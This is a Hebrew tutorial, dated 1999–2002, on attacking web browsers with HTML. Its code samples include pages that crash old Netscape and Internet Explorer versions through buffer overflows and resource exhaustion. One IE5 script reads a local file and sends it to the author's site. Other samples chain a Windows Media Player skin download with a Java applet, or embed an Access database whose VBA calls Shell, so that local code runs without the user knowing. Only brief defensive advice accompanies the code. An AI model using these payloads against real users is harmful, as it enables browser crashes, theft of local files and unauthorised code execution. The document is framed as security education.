גירסה 2 - 31.7.2002

גירסה 1 - 1999

HTML ATTACKS
ניר אדר

מסמך זה הורד מהאתר http://underwar.livedns.co.il.
אין להפיץ מסמך זה במדיה כלשהי, ללא אישור מפורש מאת המחבר.
מחבר המסמך איננו אחראי לכל נזק, ישיר או עקיף, שיגרם עקב השימוש במידע המופיע במסמך, וכן לנכונות התוכן של הנושאים המופיעים במסמך. עם זאת, המחבר עשה את מירב המאמצים כדי לספק את המידע המדויק והמלא ביותר.

כל הזכויות שמורות ל**ניר אדר**

Nir Adar
Email: underwar@hotmail.com
Home Page: http://underwar.livedns.co.il

נשים דגש מיוחד על כך שמסמך זה נועד למטרות לימודיות בלבד. המחבר איננו אחראי לשימוש לרעה שיעשה בתכנים של מסמך זה. המחבר אף איננו מעודד שימוש כזה. מטרתו העיקרית של מסמך זה, היא להציג מספרי חורי אבטחה, כך שניתן יהיה ללמוד על הגישה שבעזרתה מוצאים כאלו, וכן הסברים כיצד ניתן לחסום/לעקוף חורים אלו.
על מנת למנוע שימוש לרעה, מסמך זה איננו מכיל מידע על הגרסאות המתקדמות ביותר של הדפדפנים.

גלישה באתרים נחשבת בטוחה יחסית, אם לא מורידים קבצים ומתקינים אותם על המחשב האישי. אולם, עובדה זו איננה נכונה. ניתן בעזרת HTML ומעט JSCRIPTS ליצור מסמכים פשוטים יחסית, שיתקעו את הדפדפנים הנכנסים לאתרים אלו, או שיעשו פעולות אחרות, העלולות לפגוע במשתמש.
במסמך זה נביא דוגמאות לכך, ונראה כיצד ניתן להתגונן מההתקפות השונות. המסקנה הסופית, שלי לפחות, היא שבכל מקרה אי אפשר גם לאבטח את המחשב באופן מושלם, וגם להיות מקושרים לעולם, ועלינו לבחור את רמת האבטחה המתאימה לנו בהתאם לצורך, ולהגן בהתאם על המחשב.

מסמך זה נכתב בסביבות שנת 1999. ברור כי ההתקפות המצויינות במסמך זה אינן קיימות עוד בדפדפנים של ימינו. עם זאת, באלו קיימים בעיות אחרות המבוססות על רעיונות דומים.

נתחיל מדוגמאות המתייחסות לדפדפנים ישנים, ונתקדם עד לגירסאות מתקדמות יותר של הדפדפנים.

הדוגמא הראשונה היא דוגמא לקוד המרסק את Netscape 4.05, גם בגרסת Windows וגם בגרסת Linux :

```
<HTML>
<SPAN  STYLE="position:absolute; LEFT:0">
<TABLE BORDER="0" WIDTH=100%>
<TR>
<TD>
<TABLE>
<TR>
<TD>
</TD>
</TR>
<TR>
<TD>
<TABLE>
<TR>
<TD>
</TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</SPAN>
</HTML>
```

דוגמא זו נובעת מבאג בגירסה 4.05 והיא ספציפית לגירסה זו.
לכל גירסה של דפדפן יש את הבאגים הייחודיים לה, אם זאת, ישנם גם באגים הנובעים מטעות עקרונית בגישה של מתכנתי הדפדפן. באגים אלו בדרך כלל מופיעים בכמה גרסאות, עד שמישהו עולה על הבעיה.

הדוגמא הבאה עובדת על טווח רחב של דפדפנים, ישנים וחדשים.
דוגמא זו גורמת לInternet Explorer עד גירסה 5 (כולל) להיתקע, וכמו כן גם לכל גרסאות Netscape. גירסה 5.5 של Internet Explorer וגירסה 6 לא נבדקו, ויתכן שקוד זה משפיע גם עליהן.
יוצא הדופן היחידי הוא Netscape 4.5, שאינו נתקע, אבל מאט את פעולתו בצורה משמעותית. מסיבה לא ברורה, גרסאות חדשות יותר של Netscape כן נתקעות.

```
<HTML>
<HEAD>
<TITLE></TITLE>
<SCRIPT>
<!--

function browserBonk()
}
     var i;
     for(i = 0; i < 9999; i++)
          document.write("<table><tr><td>");
     for(i = 0; i < 9999; i++)
          document.write("</td></tr></table>");
{

// -->
</SCRIPT>
</HEAD>
<BODY onLoad="browserBonk()">
</BODY>
</HTML>
```

דף זה מתחיל ליצור 9999 טבלאות ברגע שהוא נפתח.
פעולה זו תיגמר בזמן סופי כלשהו, אולם היא צורכת משאבים רבים מהמערכת ולוקחת זמן רב, כך שבפועל הדפדפן ניתקע.

הדרך להתגונן מהתקפה מסוג זה היא לבטל את הרצת JavaScripts על ידי הדפדפן.

ל4 Internet Explorer באגים רבים. גירסה זו של Internet Explorer היא הראשונה שהצליחה יותר מהגירסה המקבילה של Netscape, אולם חלקים בה עדיין לא היו נקיים מבאגים, ולכן ישנם דרכים רבות לתקוף אנשים המשתמשים בגירסה זו של Internet Explorer.

באג ראשון התוקע את Internet Explorer 4, מנוצל על ידי הקוד הבא:

```
<HTML>
<EMBED
SRC=file://C|/A.01234567890123456789012345678901234567890
123456789012345678901234567890123456789012345678901234567
890123456789012345678901234567890123456789012345678901234
567890123456789012345678901234567890123456789012345678901
2345678901234567890123456789>
</HTML>
```

באג נוסף של Internet Explorer 4 מנוצל על ידי קוד זה:

```
<HTML>
<OBJECT
CLASSID=AÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ
ÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀÀ>
</OBJECT>
</HTML>
```

שני קטעי קוד קצרים אלו מנצלים Buffer Overflows ב-Internet Explorer על מנת לגרום לו לקרוס.

אם אפשר, מומלץ לעבור לדפדפנים חדשים יותר מ-Internet Explorer 4, בהם פחות באגים ידועים.

נביט כעת בבאגים שונים, הקיימים בגרסת Internet Explorer 5.

כאשר גולשים עם Internet Explorer 5, כותב האתר יכול לקרוא קבצים מהכונן של הגולש במספר שיטות.

נביט בדוגמא הבאה:

```
<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will
be read and shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://underwar.livedns.co.il/bugs.asp?testie
5=true";
</SCRIPT>
```

סקריפט זה שולח את הקובץ c:\test.txt, הנמצא במחשב המקומי של הגולש, אל הדף המוגדר על ידי a.location.
אדם הכותב דף המנצל פרצה זו, יוכל לקבל את תוכן הקובץ על ידי document.body.innerText.

הדרך להתגונן מפרצה זו היא שדרוג Internet Explorer, או ביטול JavaScripts.

הבאג הבא שנציג הוא באג המתרחש עקב שילוב בין שתי תוכנות:
Internet Explorer 5 ביחד עם Windows Media Player 7.
הבאג מאפשר לפורץ פוטנציאלי לקרוא את כל הקבצים במחשב המקומי של המשתמש, ולהריץ תוכנות על המחשב שלו.
הבעיה ב-Windows Media Player 7 היא אפשרות הוספת ה-skins אליה.
קבצי ה-skin מאוכסנים בספרייה קבועה הידועה לכל - C:\Program files\Windows Media Player\Skins\.
הסיומת של קובץ skin היא wmz.
בעזרת פקודת HTML כזו: <IFRAME SRC="wmp2.wmz"></IFRAME>, נגרום למשתמש להוריד את הקובץ wmp2.wmz. Windows Media Player ימקם את הקובץ אוטומטית בספרייה שצוינה לעיל.
כעת, הקובץ שמוקם בספריה זו, עלול להיות קובץ jar של תוכנית JAVA.
במקרה כזה, דף HTML שני יוכל להריץ קוד זה, ולקוד ה-JAVA תהיה הרשאה לבצע פעולות על המחשב המקומי.
נביט כיצד זה נעשה:

1.html

```
<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>
<SCRIPT>
function f()
{
window.open("2.html");
}
setTimeout("f()",4000);
</SCRIPT>
```

דף זה גורם להורדת הקובץ wmp2.wmz אל המחשב של המשתמש.
כעת, נציג את הדף השני:

2.html

```
<APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media
Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>
```

דף זה יגרום להרצת הקובץ שהורד בתור Java Applet.

הדרך לעקוף חור אבטחה זה: ביטול Java.

גם הבאג האחרון שנציג קשור לשילוב בין שתי תוכנות - בין Access 2000 לבין Internet Explorer 5.x. התופעה נבדקה תחת Windows 98, אך סביר להניח שגם מערכות אחרות מושפעות.
Access 2000 תומכת בשפת התכנות VBA, המכילה פקודות המאפשרות להתעסק עם קבצים, ולהריץ תוכנות. ניתן בפשטות לפתוח קובץ MDB תחת Internet Explorer בעזרת הקוד <OBJECT data="db1.mdb" id="d1"></OBJECT>.
בצורה זו נוכל להריץ קוד VBA שנכתב ב-Access 2000, מבלי שהמשתמש יהיה מודע כלל לכך.
נדגים אפשרות לניצול באג זה:
בקובץ ה-HTML נכתוב את השורה הבאה:

```
<OBJECT data="db1.mdb" id="d1"></OBJECT>
```

לאחר מכן, בקובץ db1.mdb, ב-Form1, נוסיף את הקוד הבא:

```
Private Sub Form_Load()
     On Error GoTo Err_Command0_Click
     Dim stAppName As String
     stAppName = "C:\Program
     Files\Accessories\wordpad.exe"
     MsgBox ("Trying to start: " & stAppName)
     Call Shell(stAppName, 1)
Exit_Command0_Click:
     Exit Sub
Err_Command0_Click:
     MsgBox Err.Description
     Resume Exit_Command0_Click
End Sub
```